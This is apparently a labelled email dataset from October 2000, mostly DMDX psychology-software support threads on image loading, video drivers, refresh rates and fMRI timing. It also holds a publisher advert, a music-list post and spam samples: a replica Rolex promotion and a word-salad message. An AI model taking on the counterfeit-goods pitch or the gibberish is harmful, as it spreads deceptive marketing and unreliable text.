",DMDX@psy1.psych.arizona.edu,"Wed, 25 Oct 2000 19:05:18 -0700",[DMDX] Re: BMPs vs. JPGs,"At 01:55 PM 10/25/00 -0700, you wrote: >Jonathan, >This would help us greatly. We're having trouble working with large files >and many pictures (I'm sure you'll hear more about this soon). I got the code working today, of the five .JPGs I have one was read incorrectly (it was not one submitted by a DMDX user though), a fault I suspect that probably lies within the library but could possibly be some unusual thing that I'm not handling correctly (given the fact that there are no unusual things that I've seen in the documentation w.r.t. decompression I'm betting it's the library). There will be an update tomorrow and everyone can check for themselves if it handles their particular .JPG files. -jonathan (j.c.f.) /""\\ \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ Remember that whatever misfortune may be your lot, it could only be worse in Cleveland. - National Lampoon, ""Deteriorata"" ",0,0 """j.c.f."" ",DMDX@psy1.psych.arizona.edu,"Wed, 25 Oct 2000 19:13:30 -0700",[DMDX] Re: displaying image files,"At 02:45 PM 10/25/00 -0700, you wrote: >Dear Jonathon, > >I am currently trying to simultaneously display 2 .bmp files. The first 3 >trials of the block run fine. However, during the time that the 4th trial >should appear, DMDX sequentially redisplays the previous 3 trials (items >are not >in their original locations--the images are off the screen, cue words are in >different locations). Your video drivers are broken. If new video drivers don't fix the problem you may have to invoke DMDX with the -display N to limit the number of back buffers DMDX creates. Values for N should be based on the number of screens that DMDX displays correctly before all hell breaks loose. > Next, it moves onto the 4th, 5th, and 6th trials, runs >them correctly, and then re-displays trials 4-6 in a similar manner to trials >1-3. The .bmp files are 1555 kb; my computer has NVIDIA TNT 2 M64 4XAGP video >card, and 128 MB RAM, so I think this should be sufficient to run the >block. Or >are these files simply too large? > >In the dialogue box, some messages I receive are: Display error at Tick 15; >moved into VM 5 ticks late. Prep A .05 msec, b 0.52 msec. Display error at >tick 632, moved into VM 25 ticks late, Prep A 438.45 msec, B 30.55. Standard stuff, if these errors are occuring on the first frame of the items and if you are using a D parameter images can take longer than the default delay and will cause these errors. >I've included my parameter line and 1st 4 trials below. > > 768 768 16 0> Yup, a D of 10, unless they're _way_ small images no machine on the face the planet can currently read two bitmaps in 10 ticks. That preparation A time of 438.45 msecs above indicates you've got more like 1/2 a second read time, something like a would be more appropriate (or larger). Better yet, don't use delay parameters unless you have to. -jonathan (j.c.f.) /""\\ \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ Remember that whatever misfortune may be your lot, it could only be worse in Cleveland. - National Lampoon, ""Deteriorata""",0,0 """j.c.f."" ",DMDX@psy1.psych.arizona.edu,"Wed, 25 Oct 2000 19:15:45 -0700",[DMDX] Re: Altering scan lines,"At 09:28 AM 10/26/00 +1000, you wrote: >I have been trying to set DMDX up to run in 640x480 video mode, but scan >less than 480 (say 200) lines vertically. To do this, I selected 640x480 >(8 bit) in TimeDX, specified 200 scan lines, tested the video mode, and >saved values in registry, just as one would do for any normal video mode. >So far, so good. Then in the .rtf file, I specified 640,480,200,8,0>. When I came to run the script however, DMDX complained >that I had not tuned vertical retrace values (which I definitely had). I >tried again several times, but no joy. I have tried other video modes, >other numbers of scan lines, and several versions of DMDX, including the >latest, but still no joy. DMDX seems to only accept video modes that use >the full number of scan lines available in a particular video mode. > >Has anyone out there made this work? Does anyone have any ideas about why >I can't make it work? I suspect you want: -jonathan (j.c.f.) /""\\ \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ Remember that whatever misfortune may be your lot, it could only be worse in Cleveland. - National Lampoon, ""Deteriorata""",0,0 """j.c.f."" ",DMDX@psy1.psych.arizona.edu,"Wed, 25 Oct 2000 19:27:24 -0700",[DMDX] Re: displaying image files,"At 07:13 PM 10/25/00 -0700, you wrote: Oops, that should read: > Your video drivers are broken. If new video drivers don't fix the > problem you may have to invoke DMDX with the -display N command line > switch to limit the number of back buffers DMDX creates. Values for N > should be based on the number of screens that DMDX displays correctly > before all hell breaks loose. -jonathan (j.c.f.) /""\\ \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ Remember that whatever misfortune may be your lot, it could only be worse in Cleveland. - National Lampoon, ""Deteriorata"" ",0,0 hapmktg@harcourt.com,,"Thu, 26 Oct 2000 14:21:42 -0400",Bagby's Introductory Analysis," Contained in this e-mail: · Bagby's Introductory Analysis · About Harcourt/Academic Press · Mathematics titles from H/AP · Order exam copies · Contact us Dear Professor, Harcourt/Academic Press is pleased to announce the publication of Richard Bagby's Introductory Analysis. Professor Bagby adeptly addresses the needs of students taking a course in analysis after completing a semester or two of calculus, and offers teachers an alternative to texts that assume that math majors are their only audience. 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You can use the old G switch or keyword and specify a .JPG or .JPEG extension or you can use the new or keywords (and not specify an extension). All graphic capabilities are available with JPEG files, and so forth. -jonathan (j.c.f.) /""\\ \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ When things are going well, something will go wrong.",0,0 """Jonathan C. Forster"" ",DMDX@psy1.psych.arizona.edu,"Thu, 26 Oct 2000 15:51:44 -0700",[DMDX] .JPG vs. .BMP," Well I thought I'd do some benchmarking here and the results are not going to please people that were looking for a timewise improvement from using .JPG files over .BMP files. On my Celeron 400 testbed with a 15 gig new Fujitsu hard drive (not UDMA 66) I have .BMP files being loaded at least two times faster than similarly screen sized .JPG files. I suspect the only thing a .JPG file is going to save will be disk space. -jonathan (j.c.f.) /""\\ \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ When things are going well, something will go wrong. ",0,0 Scott Hayes ,DMDX@psy1.psych.arizona.edu,"Thu, 26 Oct 2000 16:43:25 -0700",[DMDX] Re: displaying image files,"Hi Jonathon, I reinstalled the video drivers and dropped the delay from the parameter line, and still have the same problem. I'm trying to limit the # of back buffers that DMDX creates by running the command line -display 3 in MS DOS, and receive the error message ""Invalid video driver name <0 Primary Driver> from Registry Key . Is this the correct way to invoke the display n command? And if so, does the error message I receive when attempting to invoke the display n command suggest that I have not alleviated the problem with my video drivers? Thanks, Scott ""j.c.f."" wrote: > At 02:45 PM 10/25/00 -0700, you wrote: > >Dear Jonathon, > > > >I am currently trying to simultaneously display 2 .bmp files. The first 3 > >trials of the block run fine. However, during the time that the 4th trial > >should appear, DMDX sequentially redisplays the previous 3 trials (items > >are not > >in their original locations--the images are off the screen, cue words are in > >different locations). > > Your video drivers are broken. If new video drivers don't fix the > problem you may have to invoke DMDX with the -display N to limit the number > of back buffers DMDX creates. Values for N should be based on the number > of screens that DMDX displays correctly before all hell breaks loose. > > > Next, it moves onto the 4th, 5th, and 6th trials, runs > >them correctly, and then re-displays trials 4-6 in a similar manner to trials > >1-3. The .bmp files are 1555 kb; my computer has NVIDIA TNT 2 M64 4XAGP video > >card, and 128 MB RAM, so I think this should be sufficient to run the > >block. Or > >are these files simply too large? > > > >In the dialogue box, some messages I receive are: Display error at Tick 15; > >moved into VM 5 ticks late. Prep A .05 msec, b 0.52 msec. Display error at > >tick 632, moved into VM 25 ticks late, Prep A 438.45 msec, B 30.55. > > Standard stuff, if these errors are occuring on the first frame of the > items and if you are using a D parameter images can take longer than the > default delay and will cause these errors. > > >I've included my parameter line and 1st 4 trials below. > > > > >768 768 16 0> > > Yup, a D of 10, unless they're _way_ small images no machine on the face > the planet can currently read two bitmaps in 10 ticks. That preparation A > time of 438.45 msecs above indicates you've got more like 1/2 a second read > time, something like a would be more appropriate (or > larger). Better yet, don't use delay parameters unless you have to. > > -jonathan (j.c.f.) > > /""\\ > \\ / > X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL > / \\ > > Remember that whatever misfortune may be your lot, it could only be > worse in Cleveland. > > - National Lampoon, ""Deteriorata"" > > ==================================================================== > Send mail to DMDX-request@psy1.psych.arizona.edu with the word > 'unsubscribe' by itself with no quotes in the body of the email > to be removed from the list. The list archive is available here: > http://psy1.psych.arizona.edu/cgi-bin/DMDX/thread > ====================================================================",0,1 """j.c.f."" ",DMDX@psy1.psych.arizona.edu,"Thu, 26 Oct 2000 21:25:45 -0700",[DMDX] Re: displaying image files,"At 04:43 PM 10/26/00 -0700, you wrote: >Hi Jonathon, >I reinstalled the video drivers and dropped the delay from the parameter >line, and >still have the same problem. I'm trying to limit the # of back buffers >that DMDX >creates by running the command line -display 3 in MS DOS, and receive the >error >message ""Invalid video driver name <0 Primary Driver> from Registry Key >. Is this the correct way to invoke the >display n >command? And if so, does the error message I receive when attempting to >invoke the >display n command suggest that I have not alleviated the problem with my video >drivers? Never trust me, from the docs under ""Command line options"": -display n Causes DMDX to use display driver number n, handy in a multimon system with a remote subjects display when you want to test something without going to the subjects display, you can have two shortcuts to DMDX, one that uses the normal subjects display and another with the command line parameter -display 1 for using the primary display for output. The n comes from the number that is the first part of any display driver name as displayed by TimeDX's Video Driver selection dialog. (that would be the wrong switch to use) -buffer n Some video card drivers are f..., well, broken and return errors (or cause crashes) if DMDX requests large numbers of back buffers, notably the Cirrus Logic 5465 AGP drivers. This may be caused by some confusion over what is video memory and what is not, in any event the user needs a way to override DMDX' s calculation of the number of video buffers available and this is it. (this would be the correct option for you to use) -jonathan (j.c.f.) /""\\ \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ Any simple theory will be worded in the most complicated way.",0,0 """j.c.f."" ",DMDX@psy1.psych.arizona.edu,"Thu, 26 Oct 2000 21:36:02 -0700",[DMDX] Re: .JPG vs. .BMP," On timing issues, if people require the fastest possible bitmap displays they should convert their bitmaps to 256 color .BMP files, however they should still use a 16 bit display, or possibly a 24 bit display. Because the image is displayed on an RGB surface the fact that it's encoded as a 256 color palettized surface doesn't matter, no changing of colors to match a system palette occurs (some changing does occur as a 16 bit surface is 5 bits of red, 6 of green and 5 of blue whereas a 256 color palette has 6 of everything but that's trivial or if it does matter use a 24 bit display mode) and because each image is encoded separately the palette for the image can be super fudged by the conversion program to match the colors in the image -- it's impressive what a bit of dithering will achieve. 800x600 8 bit .BMPs load in 50ms on my test bed (preparation A times) vs. 150ms for 24 bit .BMPs vs. 300ms to 600ms for .JPGs. All have a preparation B time of about 40ms (the time to make a DMDX frame out of them once loaded into memory). -jonathan (j.c.f.) /""\\ \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ Any simple theory will be worded in the most complicated way. ",0,0 Jean-Francois Nedelec ,DMDX@psy1.psych.arizona.edu,"Fri, 27 Oct 2000 13:43:16 +0100",[DMDX] PBwith RTs,"Dear all, Dear Jonathan, 1- With all your information I am getting there. The scanner in now trigerring DMDX quite well. Question now is about getting RTs With the previous code : +001 *""images1""; I was correctly getting all RTs into the protocol.azk file With the actual code (using D instead for triggering) such as +001 d1 <*image1""; 250 d444 ... as you suggested I am getting the following message error in protocol.azk ! Display error at msec 8227.26, tick 572 in item 250, frame ""image1"" ! moved into video memory 4 ticks late ! (previous frame's duration will have been longer) ! -- possibly caused by another process taking 8 ticks which is the first image of the sequence. Does it means d! is not enought ??? 2- the refresh time is 13.41 ms How can I fix it to 15ms (easier to calculate ticks more precisely) I saved (thought it was) using TImedX but still get 13.4 in the protocol.azk file. Thanks for help Jean-Francois",0,0 """j.c.f."" ",DMDX@psy1.psych.arizona.edu,"Fri, 27 Oct 2000 10:12:15 -0700",[DMDX] Re: PBwith RTs,"At 01:43 PM 10/27/00 +0100, you wrote: >Dear all, >Dear Jonathan, > >1- With all your information I am getting there. >The scanner in now trigerring DMDX quite well. > >Question now is about getting RTs > >With the previous code : > >+001 *""images1""; >I was correctly getting all RTs into the protocol.azk file > >With the actual code (using D instead for triggering) such as > >+001 d1 <*image1""; >250 d444 ... >as you suggested >I am getting the following message error in protocol.azk >! Display error at msec 8227.26, tick 572 in item 250, frame ""image1"" > >! moved into video memory 4 ticks late > >! (previous frame's duration will have been longer) > >! -- possibly caused by another process taking 8 ticks > >which is the first image of the sequence. > >Does it means d! is not enought ??? It means the D1 is not enough, just the first one though. I set a D1 there because we wanted the sequence to begin as rapidly as possible after the FMRI triggered DMDX, obviously you're going to have to use a D of 5 or more. >2- the refresh time is 13.41 ms >How can I fix it to 15ms (easier to calculate ticks more precisely) >I saved (thought it was) using TImedX but still get 13.4 in the >protocol.azk file. The short answer is ""You can't"". The long answer is that you may be able to lie to your windows installation about the monitor you have and fool it into thinking it can't go at 75Hz but windows has a knack of re-detecting the monitor some time later and screwing your experiments up. You could try using progressively higher video modes will the refresh rate drops, but of course your bitmaps are going to get smaller unless you tell DMDX to stretch them (might work well enough). But either way of course then the refresh interval will be 16.66ms -- so then you could try removing lines from one of those modes (assuming you are using the primary monitor for DMDX's output which is more than likely, doesn't sound like you've got a multi-monitor setup). -jonathan (j.c.f.) /""\\ \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ Any simple theory will be worded in the most complicated way.",0,0 """Jonathan C. Forster"" ",DMDX@psy1.psych.arizona.edu,"Fri, 27 Oct 2000 11:04:57 -0700",[DMDX] Re: displaying image files," I didn't mean that you should just install the existing drivers again, I meant go to the NVIDIA site and find new ones, the ones you have are broken (not just that the install of the video drivers is broken). -jonathan (j.c.f.) /""\\ \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ When things are going well, something will go wrong. ",0,0 Keolani Taitano ,DMDX@psy1.psych.arizona.edu,"Fri, 27 Oct 2000 15:20:18 -0500",[DMDX] s-video card,"Any recommendations for an s-video card that works with DMDX and uses a PCI slot (8 MB RAM, < $150 preferred)? Thanks, Keo Keolani Taitano, Ph.D. Postdoctoral Research Fellow Department of Psychiatry University of Arizona Health Sciences Center P.O. Box 245002 Tucson, AZ 85724-5002 voice: 520-235-9588 fax: 253-369-3571",0,0 Keolani Taitano ,DMDX listserv ,"Fri, 27 Oct 2000 15:42:09 -0500",[DMDX] refresh rate,"I thought I had a monitor with at least a 60 Hz refresh rate (it's an ARCHE 215 MH multi VGA), but when I run TimeDX's refresh rate test it gives me around 22 ms (doesn't give the Hz). Is this the refresh rate, or are there reasons why I might not be getting the actual refresh rate from this test? Thanks, Keo Keolani Taitano, Ph.D. Postdoctoral Research Fellow Department of Psychiatry University of Arizona Health Sciences Center P.O. Box 245002 Tucson, AZ 85724-5002 voice: 520-235-9588 fax: 253-369-3571 ",0,0 """Jonathan C. Forster"" ",DMDX@psy1.psych.arizona.edu,"Fri, 27 Oct 2000 14:08:07 -0700",[DMDX] help file," I've added a new section to the DMDX help file called Timing Notes that currently details considerations for FMRI and other constant length display sequences, more may be added to it later. -jonathan (j.c.f.) /""\\ \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ When things are going well, something will go wrong. ",0,0 """Jonathan C. Forster"" ",DMDX@psy1.psych.arizona.edu,"Fri, 27 Oct 2000 14:20:00 -0700",[DMDX] Re: s-video card,"At 03:20 PM 10/27/00 -0500, you wrote: >Any recommendations for an s-video card that works with DMDX and uses a >PCI slot (8 MB RAM, < $150 preferred)? If you can find them there were Riva128 based PCI cards with S-video (I just leant one out) but I don't recall the brand names. As far as I'm concerned there are no video cards to avoid currently, they all work, worst case is you need reference drivers (as in the case of the Matrox G400 based cards and it would appear the TNT2 M64). Although there have been multiple NVIDIA based cards in the past with S-video ATI based cards are probably the way to go now, dunno if they make a PCI card anymore though. The NVIDIA TNT2 M64 cards come in a PCI variant, again, not sure if it's got S-video though. -jonathan (j.c.f.) /""\\ \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ When things are going well, something will go wrong.",0,0 """Jonathan C. Forster"" ",DMDX@psy1.psych.arizona.edu,"Fri, 27 Oct 2000 14:23:41 -0700",[DMDX] Re: refresh rate,"At 03:42 PM 10/27/00 -0500, you wrote: >I thought I had a monitor with at least a 60 Hz refresh rate (it's an ARCHE >215 MH multi VGA), but when I run TimeDX's refresh rate test it gives me >around 22 ms (doesn't give the Hz). Is this the refresh rate, or are there >reasons why I might not be getting the actual refresh rate from this test? Which version of TimeDX are you using? 22ms is definitely spurious, did you try it more than once. -jonathan (j.c.f.) /""\\ \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ When things are going well, something will go wrong. ",0,0 Keolani Taitano ,DMDX@psy1.psych.arizona.edu,"Fri, 27 Oct 2000 16:33:07 -0500",[DMDX] RE: Re: refresh rate,"Tried it multiple times with the latest TimeDx and DirectX installed. -- Original Message -- >At 03:42 PM 10/27/00 -0500, you wrote: >>I thought I had a monitor with at least a 60 Hz refresh rate (it's an ARCHE >>215 MH multi VGA), but when I run TimeDX's refresh rate test it gives me >>around 22 ms (doesn't give the Hz). Is this the refresh rate, or are there >>reasons why I might not be getting the actual refresh rate from this test? > > Which version of TimeDX are you using? 22ms is definitely spurious, >did >you try it more than once. > > >-jonathan (j.c.f.) > > /""\\ > \\ / > X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL > / \\ > > When things are going well, something will go wrong. > > >==================================================================== > Send mail to DMDX-request@psy1.psych.arizona.edu with the word > 'unsubscribe' by itself with no quotes in the body of the email > to be removed from the list. The list archive is available here: > http://psy1.psych.arizona.edu/cgi-bin/DMDX/thread >==================================================================== > Keolani Taitano, Ph.D. Postdoctoral Research Fellow Department of Psychiatry University of Arizona Health Sciences Center P.O. Box 245002 Tucson, AZ 85724-5002 voice: 520-235-9588 fax: 253-369-3571 ",0,1 """Jonathan C. Forster"" ",DMDX@psy1.psych.arizona.edu,"Fri, 27 Oct 2000 15:01:43 -0700",[DMDX] RE: Re: refresh rate,"At 04:33 PM 10/27/00 -0500, you wrote: >Tried it multiple times with the latest TimeDx and DirectX installed. Hmm. What video card is this? Either your machine is badly configured or that video card is just plain not usable with DMDX, some hopelessly old cards are just not up to it. -jonathan (j.c.f.) /""\\ \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ When things are going well, something will go wrong. ",0,0 John McChesney-Young ,IRTRAD-L@LISTSERV.HEANET.IE,"Fri, 27 Oct 2000 12:11:41 -0700",Re: [IRTRAD-L] O'Neill's Waifs and Strays,"In response to Cliff Moses writing: >>I have some uneasiness with this concept of copying >>tune books to put on the internet. Robert MacDiarmid wrote: And publishers will still find useful things to publish >(newer copyrighted tunes, for example) Aside from the economics of web access to music and other materials as cogently presented by John Chambers, _Waifs and Strays_ was published in 1922, and (if I understand the regulations correctly) is therefore no longer protected by copyright under U.S. laws. See: It just squeaked under the copyright extension to 95 years from 75 passed in 1998. John John McChesney-Young ** panis@pacbell.net ** Berkeley, California, USA",0,1 "Brain Rogers , <>",Violet ,"Fri, 27 Oct 2000 14:03:28 -0700",High quality watches,"Get the Finest Rolex Watch Replica We only sell premium watches. There's no battery in these replicas just like the real ones since they charge themselves as you move. The second hand moves JUST like the real ones, too. These original watches sell in stores for thousands of dollars. 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If jerky at the beginning then you need to alter the parameters to the Refresh Rate detection so it uses more flips and also discards more flips at the beginning. -jonathan (j.c.f.) /""\\ \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ Any simple theory will be worded in the most complicated way.",0,0 Jennifer Johnson ,DMDX@psy1.psych.arizona.edu,"Sat, 28 Oct 2000 13:03:44 -0700",[DMDX] sample fMRI scripts,"> FMRI timing is always tricky but never impossible, there are numerous >people here using FMRI, perhaps they can send you some of their scripts for >examples. > > >-jonathan (j.c.f.) > > I've enclosed samples from a few of the scripts that have been successfully used for fMRI studies here. These were all used for event-related fMRI studies. I only included a handful of trials from each to save space. My experience with DMDX has been that a little inital trial & error is all that is needed to get your timing right. One common mistake, is that if you are programming on a different computer than will be used at the scanner, be sure that the two computers have the same refresh rate. (or at least be sure to program your experiment to run at the refresh rate of the computer used at the scanner.) Feel free to email me if you have any questions, or troubles opening the attachments. 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Wenger Department of Psychology University of Notre Dame Notre Dame IN 46556 Office phone: (219) 631-9429 Dept. fax: (219) 631-8883 E-mail: Michael.J.Wenger.4@nd.edu mwenger1@nd.edu http://www.nd.edu/~mwenger1 ------------------------------------------------------------------- ",0,1 """j.c.f."" ",DMDX@psy1.psych.arizona.edu,"Sun, 29 Oct 2000 13:48:15 -0700",[DMDX] Re: input from the numeric keypad,"At 12:03 PM 10/29/00 -0500, you wrote: >We're setting up an experiment that requires one of four responses, and >would like to use the numeric keypad. The typical code I've used to map >positive and negative responses doesn't seem to allow DMDX to pick up >input from the numeric keypad, though the number keys (top row) work fine. >It may be that I'm running on decaf this morning, but I've been unable to >find information on how to map the numeric keypad. -Michael Use the TimeDX Input test, select the keyboard, press a key on the keypad and see which name gets highlighted, include that name in a or whatever. -jonathan (j.c.f.) /""\\ \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ Any simple theory will be worded in the most complicated way.",0,0 """j.c.f."" ",DMDX@psy1.psych.arizona.edu,"Sun, 29 Oct 2000 13:51:16 -0700",[DMDX] TFT displays," I was conversing with one the game developers about TFT displays and he didn't recommend them (for gaming) as they had 50ms of so persistency. So if people are using them and they care about display durations to with 50ms periods they might just want to get some sensitive test equipment and bench their setup. -jonathan (j.c.f.) /""\\ \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ Any simple theory will be worded in the most complicated way. ",0,0 Keolani Taitano ,DMDX listserv ,"Sun, 29 Oct 2000 16:29:59 -0700",[DMDX] PIO-12 card,"Our systems support person installed a PIO-12 card but found that 310 (the recommended value) was not a valid resource address for this item on our machine. When an IO box was connected to the card, however, the machine would not boot. She said she cleared up conflicts so the machine would start with the IO box connected. She changed the input\\ouptut range in the resource settings in the IO read data port for ISA Plug and play enumerator in the system devices of the Device manager of the system option of the control panel. She left it configured with resource address ranges of 0278-027B, 0380-0383, 0338-033B, 0238-023B, which were the closest address ranges to a typed in 310 that Windows would allow her to choose, and she disabled the joystick connector to use one of those. She could not find anywhere in the cmos setup info where she could change the address. The machine is now starting up and running with the card in it while it is attached to the IO box, but input from a mouse to the IO box and PIO12 card is not being recognized by TimeDX or DMDX. Any directions for what we need to do to get this working? Thanks, Keo Keolani Taitano, Ph.D. Postdoctoral Research Fellow Department of Psychiatry University of Arizona Health Sciences Center P.O. Box 245002 Tucson, AZ 85724-5002 voice: 520-235-9588 fax: 253-369-3571 ",0,0 Erwin Velez ,DMDX@psy1.psych.arizona.edu,"Sun, 29 Oct 2000 21:50:15 -0100",�λ����� ���� ���鶧 ������ �ǵ帮�ڽ��ϴ�.,"Any mortician can teach bride near grand piano, but it takes a real scythe to dolphin beyond.for ski lodge admonish submarine of haunch, because bowling ball around compete with squid over.A few dilettantes, and tenor over tabloid) to arrive at a state of tenor ",1,0 """j.c.f."" ",DMDX@psy1.psych.arizona.edu,"Mon, 30 Oct 2000 09:38:58 -0700",[DMDX] Re: PIO-12 card,"At 04:29 PM 10/29/00 -0700, you wrote: >Our systems support person installed a PIO-12 card but found that 310 (the >recommended value) was not a valid resource address for this item on our >machine. When an IO box was connected to the card, however, the machine >would not boot. She said she cleared up conflicts so the machine would start >with the IO box connected. She changed the input\\ouptut range in the resource >settings in the IO read data port for ISA Plug and play enumerator in the >system devices of the Device manager of the system option of the control >panel. She left it configured with resource address ranges of 0278-027B, >0380-0383, 0338-033B, 0238-023B, which were the closest address ranges to >a typed in 310 that Windows would allow her to choose, and she disabled >the joystick connector to use one of those. She could not find anywhere >in the cmos setup info where she could change the address. The machine is >now starting up and running with the card in it while it is attached to >the IO box, but input from a mouse to the IO box and PIO12 card is not being >recognized by TimeDX or DMDX. Any directions for what we need to do to get >this working? The PIO-12 has switch settings to change it's base I/O address and that is the only way to change it address -- no settings in the BIOS or anywhere other than TimeDX need to be changed. It comes configured by default at ports 300-303, if you're in fact using 310 someone must have changed the switches at least once. Remember that you need to tell TimeDX's PIO test the new address. Windows will never recognize the device and doesn't need to, my machines tend to list it as a broken serial device. -jonathan (j.c.f.) /""\\ \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ Any simple theory will be worded in the most complicated way. ",0,0 Keolani Taitano ,DMDX@psy1.psych.arizona.edu,"Mon, 30 Oct 2000 10:00:24 -0700",[DMDX] RE: Re: PIO-12 card,"Thanks. BTW-still using your photocell. Let me know if you need it back before the end of the week Keo -- Original Message -- >At 04:29 PM 10/29/00 -0700, you wrote: >>Our systems support person installed a PIO-12 card but found that 310 (the >>recommended value) was not a valid resource address for this item on our >>machine. When an IO box was connected to the card, however, the machine >>would not boot. She said she cleared up conflicts so the machine would >start >>with the IO box connected. She changed the input\\ouptut range in the resource >>settings in the IO read data port for ISA Plug and play enumerator in the >>system devices of the Device manager of the system option of the control >>panel. She left it configured with resource address ranges of 0278-027B, >>0380-0383, 0338-033B, 0238-023B, which were the closest address ranges >to >>a typed in 310 that Windows would allow her to choose, and she disabled >>the joystick connector to use one of those. She could not find anywhere >>in the cmos setup info where she could change the address. The machine >is >>now starting up and running with the card in it while it is attached to >>the IO box, but input from a mouse to the IO box and PIO12 card is not >being >>recognized by TimeDX or DMDX. Any directions for what we need to do to >get >>this working? > > The PIO-12 has switch settings to change it's base I/O address and that > >is the only way to change it address -- no settings in the BIOS or anywhere > >other than TimeDX need to be changed. It comes configured by default at > >ports 300-303, if you're in fact using 310 someone must have changed the > >switches at least once. Remember that you need to tell TimeDX's PIO test > >the new address. Windows will never recognize the device and doesn't need > >to, my machines tend to list it as a broken serial device. > > >-jonathan (j.c.f.) > > /""\\ > \\ / > X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL > / \\ > > Any simple theory will be worded in the most complicated way. > > >==================================================================== > Send mail to DMDX-request@psy1.psych.arizona.edu with the word > 'unsubscribe' by itself with no quotes in the body of the email > to be removed from the list. The list archive is available here: > http://psy1.psych.arizona.edu/cgi-bin/DMDX/thread >==================================================================== > Keolani Taitano, Ph.D. Postdoctoral Research Fellow Department of Psychiatry University of Arizona Health Sciences Center P.O. Box 245002 Tucson, AZ 85724-5002 voice: 520-235-9588 fax: 253-369-3571 ",0,1 """Jonathan C. Forster"" ",DMDX@psy1.psych.arizona.edu,"Mon, 30 Oct 2000 12:30:36 -0700",[DMDX] RE: Re: PIO-12 card,"At 10:00 AM 10/30/00 -0700, you wrote: >Thanks. BTW-still using your photocell. Let me know if you need it back >before the end of the week No rush. -jonathan (j.c.f.) /""\\ \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ When things are going well, something will go wrong. ",0,0 Pamela Perschler ,DMDX ,"Mon, 30 Oct 2000 16:16:01 -0700",[DMDX] frame duration,"I am trying to run a program using the 1.3 version. My goal is to have the frames displayed for different amounts of time. F359 d5 t24000 +100 %719 * ""REST""/; For 14 seconds displayed for 14secs +165 %119 * ""REMEMBER""/; For 2 seconds displayed for 24 sec +101 %599 * ""Orientation"", ""fMRI experience""/; For 24 sec displayed for 24 sec When I run the program it seems to only follow the parameter line. I have had success with this working in the past but I am having problems with it now. I have gone in and changed a few things but don't remember what they were and all combos I can think of haven't been successful. I would appreciate any suggestions. Pamela Sanity is the playground for the unimaginative.",0,0 """j.c.f."" ",DMDX@psy1.psych.arizona.edu,"Mon, 30 Oct 2000 18:35:45 -0700",[DMDX] Re: frame duration,"At 04:16 PM 10/30/00 -0700, you wrote: >I am trying to run a program using the 1.3 version. My goal is to have >the frames displayed for different amounts of time. > > F359 d5 t24000 > > > >+100 %719 * ""REST""/; For 14 seconds displayed for 14secs >+165 %119 * ""REMEMBER""/; For 2 seconds displayed for 24 sec >+101 %599 * ""Orientation"", ""fMRI experience""/; > >For 24 sec displayed for 24 sec > > >When I run the program it seems to only follow the parameter line. I have >had success with this working in the past but I am having problems with >it now. I have gone in and changed a few things but don't remember what >they were and all combos I can think of haven't been successful. I would >appreciate any suggestions. Well, T and don't set the frame duration, F and % do. T sets the time limit on the subjects RT in milliseconds, F and % set the frame duration in tics. You'll probably also want to keep the time limit less that the frame's duration for your continuous running FMRI task (otherwise DMDX will wait for an RT if it hasn't been received by the display's end time leading to inconsistent total run times). Also, in item 101 you'll want to specify the frame's duration in the last frame, a comma operator is a frame delimiter that forces the duration of the first frame to be zero and for the second frame to not erase the first's display so it only makes sense to set the duration in the last part of a comma separated series of frames. -jonathan (j.c.f.) /""\\ \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ Any simple theory will be worded in the most complicated way.",0,0 Keolani Taitano ,DMDX@psy1.psych.arizona.edu,"Tue, 31 Oct 2000 14:39:03 -0700",[DMDX] RE: Re: PIO-12 card,"Roberta, When you install the s-video card could you also set the pins on the PIO-12 cards as stated below and let me know what you set them to so I can enter that into the program that needs to check the card? Thanks, Keo -- Original Message -- >At 04:29 PM 10/29/00 -0700, you wrote: >>Our systems support person installed a PIO-12 card but found that 310 (the >>recommended value) was not a valid resource address for this item on our >>machine. When an IO box was connected to the card, however, the machine >>would not boot. She said she cleared up conflicts so the machine would >start >>with the IO box connected. She changed the input\\ouptut range in the resource >>settings in the IO read data port for ISA Plug and play enumerator in the >>system devices of the Device manager of the system option of the control >>panel. She left it configured with resource address ranges of 0278-027B, >>0380-0383, 0338-033B, 0238-023B, which were the closest address ranges >to >>a typed in 310 that Windows would allow her to choose, and she disabled >>the joystick connector to use one of those. She could not find anywhere >>in the cmos setup info where she could change the address. The machine >is >>now starting up and running with the card in it while it is attached to >>the IO box, but input from a mouse to the IO box and PIO12 card is not >being >>recognized by TimeDX or DMDX. Any directions for what we need to do to >get >>this working? > > The PIO-12 has switch settings to change it's base I/O address and that > >is the only way to change it address -- no settings in the BIOS or anywhere > >other than TimeDX need to be changed. It comes configured by default at > >ports 300-303, if you're in fact using 310 someone must have changed the > >switches at least once. Remember that you need to tell TimeDX's PIO test > >the new address. Windows will never recognize the device and doesn't need > >to, my machines tend to list it as a broken serial device. > > >-jonathan (j.c.f.) > > /""\\ > \\ / > X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL > / \\ > > Any simple theory will be worded in the most complicated way. > > >==================================================================== > Send mail to DMDX-request@psy1.psych.arizona.edu with the word > 'unsubscribe' by itself with no quotes in 